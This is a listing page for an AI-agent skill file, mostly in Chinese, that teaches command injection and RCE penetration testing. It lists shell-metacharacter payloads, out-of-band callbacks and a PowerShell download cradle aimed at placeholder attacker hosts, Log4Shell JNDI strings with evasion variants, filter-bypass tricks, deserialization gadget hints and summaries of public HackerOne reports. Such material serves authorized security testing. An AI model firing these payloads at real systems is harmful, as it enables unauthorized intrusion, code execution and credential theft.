# Pentest Command Injection

> Use when performing penetration testing targeting command injection and remote code execution vulnerabilities. Keywords: command injection, OS command injection, RCE, remote code execution, code injection, shell injection, deserialization, Log4Shell

- Skill: `yhy0/pentest-command-injection` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add yhy0/pentest-command-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/yhy0/pentest-command-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: yhy0 (https://skillmd.com/u/yhy0)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/yhy0/pentest-command-injection

---


# Command Injection Penetration Testing Patterns

当对 Web 应用进行命令注入和远程代码执行渗透测试时加载此 Skill。覆盖 OS 命令注入、反序列化、Log4Shell 等。

## Attack Surface Discovery

**高风险功能：**
- 网络工具：ping、traceroute、nslookup、dig 等功能
- 文件转换/处理：PDF 生成、图片处理、视频转码
- CI/CD 管道：构建脚本、部署命令
- 包管理器集成：npm install、pip install
- 系统管理面板：服务重启、日志查看
- 打印/报表：调用系统命令生成报表
- 已知漏洞组件：Log4j、DotNetNuke、Apache Struts

**识别信号：**
- 响应中包含命令执行输出的格式（如 ping 结果）
- 输入参数疑似被拼接到系统命令中
- 应用使用已知存在 RCE 的框架/组件版本
- 管理面板使用默认凭证

## Exploitation Techniques

**Shell 元字符注入：**
```bash
# 命令分隔符
; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)

# 换行符
%0awhoami
%0dwhoami
```

**盲注检测：**
```bash
# 时间盲注
; sleep 10
| ping -c 10 127.0.0.1
& timeout /t 10

# OOB 回调
; curl https://attacker.burpcollaborator.net
| nslookup attacker.burpcollaborator.net
; wget https://attacker.com/$(whoami)
```

**反序列化攻击：**
- Java：利用 ysoserial 生成 gadget chain payload
  - 常用 gadget：`CommonsCollections1-7`、`Spring1-4`、`Hibernate1`
  - 入口点：`ObjectInputStream.readObject()`、JSON 反序列化（Jackson `enableDefaultTyping`、Fastjson `@type`）
- .NET：DotNetNuke Cookie 反序列化（CVE-2017-9822）
  - 工具：ysoserial.net，常用 gadget：`TypeConfuseDelegate`、`WindowsIdentity`
- Python：pickle.loads() 执行任意代码
  - Payload：`__reduce__` 方法返回 `os.system` 调用
- PHP：unserialize() + POP chain
  - 工具：PHPGGC 生成框架特定 gadget chain

**SSTI（服务端模板注入）：**
- 探测：`{{7*7}}`（Jinja2/Twig）、`${7*7}`（FreeMarker）、`<%= 7*7 %>`（ERB）
- 确认框架后使用对应 RCE payload
- 注意区分 SSTI 与 XSS（SSTI 在服务端执行，XSS 在客户端执行）

**PowerShell 注入（Windows 环境）：**
```powershell
; Invoke-Expression "whoami"
| IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
```

**Log4Shell / JNDI 注入：**
```
${jndi:ldap://attacker.com/exploit}
${jndi:rmi://attacker.com/exploit}
# 绕过变体
${${lower:j}ndi:${lower:l}dap://attacker.com/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}
```

**利用链（默认凭证 → RCE）：**
1. 发现管理面板使用默认凭证
2. 通过管理功能上传恶意文件/报表
3. 触发代码执行获得 RCE

**绕过技巧：**
- 空格绕过：`{IFS}`、`$IFS$9`、`%09`（Tab）
- 关键字绕过：`w'h'o'a'm'i`、`wh$()oami`、Base64 编码后解码执行
- 路径绕过：`/usr/bin/id` 替代 `id`
- 引号绕过：`\`、`$@`

## Detection Checklist

- [ ] 识别所有可能调用系统命令的功能（网络工具、文件处理、系统管理）
- [ ] 注入 shell 元字符（`;`、`|`、`&&`）并附加 `sleep` 或 OOB 回调命令
- [ ] 检查应用使用的框架/组件版本是否存在已知 RCE（Log4j、Struts、DotNetNuke）
- [ ] 测试 JNDI 注入点（HTTP 头如 `User-Agent`、`X-Forwarded-For` 中注入 `${jndi:...}`）
- [ ] 扫描管理面板默认凭证（admin/admin、admin/password）
- [ ] 检查反序列化入口（Java ObjectInputStream、.NET BinaryFormatter、Python pickle）
- [ ] 测试文件上传是否可上传可执行文件（JSP、PHP、ASPX）
- [ ] 尝试空格和关键字绕过技巧
- [ ] 验证 OOB 回调确认盲注（DNS/HTTP callback）
- [ ] 评估获得 RCE 后的横向移动可能性（云凭证、内网访问）

## Impact Assessment

**漏洞利用可达到的效果：**
- 完全系统控制：执行任意命令，安装后门
- 数据窃取：读取数据库、文件系统中的所有敏感数据
- 横向移动：利用服务器凭证（AWS IAM、SSH 密钥）访问其他系统
- 挖矿/僵尸网络：利用服务器算力
- 供应链攻击：篡改 CI/CD 管道中的构建产物

**严重度判断：**
- **Critical**：未认证 RCE、可直接执行系统命令、影响面广（如 Log4Shell）
- **High**：需认证的 RCE、需要特定条件触发、利用链较短
- **Medium**：需要多步链式利用、受沙箱限制、影响范围有限


## Real-World Cases

以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。

### Case 1: IBM — Middleware Authentication Bypass on IBM Portal

- **严重度**: Critical | **CWE**: Command Injection - Generic
- **摘要**: The vulnerability of middleware authentication bypass on the IBM Portal endpoint was reported, analyzed, and remediated. The discovery was reported by an external researcher.
- **报告**: https://hackerone.com/reports/3088290

### Case 2: MTN Group — Cisco IOS XE instance at ████ vulnerable to CVE-██████

- **严重度**: Critical | **CWE**: Command Injection - Generic
- **摘要**: A vulnerability was discovered in a Cisco IOS XE instance that allowed bypassing authentication to reach a web endpoint and execute arbitrary Cisco IOS commands or make configuration changes with Priv...
- **报告**: https://hackerone.com/reports/2778350

### Case 3: MTN Group — CVE-2017-9822 DotNetNuke Cookie Deserialization Remote Code Execution (RCE) on lonidoor.mtn.ci

- **严重度**: Critical | **CWE**: Code Injection
- **摘要**: The DotNetNuke (DNN) versions between 5.0.0 and 9.3.0 were affected by a deserialization vulnerability that could lead to remote code execution. The vulnerability was caused by the way DNN handled the...
- **报告**: https://hackerone.com/reports/2762119

### Case 4: MTN Group — Remote code injection in Log4j on  https://mymtn.mtncongo.net - CVE-2021-44228

- **严重度**: Critical | **CWE**: OS Command Injection
- **摘要**: The website https://mymtn.mtncongo.net was vulnerable to remote code injection due to the CVE-2021-44228 vulnerability in the Log4j library. This critical vulnerability allowed for remote command exec...
- **报告**: https://hackerone.com/reports/1425565

### Case 5: MTN Group — Remote code injection in Log4j on http://mtn1app.mtncameroon.net  - CVE-2021-44228

- **严重度**: Critical | **CWE**: OS Command Injection
- **摘要**: The vulnerability CVE-2021-44228, a remote code injection flaw in Log4j, was discovered on the website http://mtn1app.mtncameroon.net. The vulnerability was confirmed to be present on the ports 8080 a...
- **报告**: https://hackerone.com/reports/1425563

### Case 6: MTN Group — Remote code execution via crafted pentaho report uploaded using default credentials for pentaho business server

- **严重度**: Critical | **CWE**: Code Injection
- **摘要**: A remote code execution vulnerability was discovered in Pentaho Business Analytics Server. By uploading a specially crafted Pentaho report file using default credentials, an attacker could achieve arb...
- **报告**: https://hackerone.com/reports/1677047

### Case 7: Mozilla — Remote code execution and exfiltration of secret tokens by poisoning the mozilla/fxa CI build cache

- **严重度**: Critical | **CWE**: Code Injection
- **摘要**: Remote code execution and data exfiltration were possible by poisoning a cache used in a CI build process. A proof of concept demonstrated the ability to exfiltrate sensitive data by re-uploading a mo...
- **报告**: https://hackerone.com/reports/2255750

### Case 8: Trellix — Unauthenticated Path Traversal and Command Injection in Trellix Enterprise Security Manager 11.6.10

- **严重度**: Critical | **CWE**: OS Command Injection
- **摘要**: A critical vulnerability was identified in Trellix Enterprise Security Manager (ESM) version 11.6.10. The vulnerability allowed unauthenticated access to internal API endpoints through path traversal ...
- **报告**: https://hackerone.com/reports/2817658

### Case 9: U.S. Dept Of Defense — GlobalProtect - OS Command Injection #█████████

- **严重度**: Critical | **CWE**: OS Command Injection
- **摘要**: A command injection vulnerability was discovered in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations. This vulnerability...
- **报告**: https://hackerone.com/reports/2468496

### Case 10: U.S. Dept Of Defense —  Remote Code Execution and AWS IAM Credentials Exfiltration in https://████████/

- **严重度**: Critical | **CWE**: Command Injection - Generic
- **摘要**: The host https://██████/ had a vulnerability in the /jenkins/script directory that allowed users to execute system commands on the host. This could have led to the disclosure of AWS IAM credentials, w...
- **报告**: https://hackerone.com/reports/2083771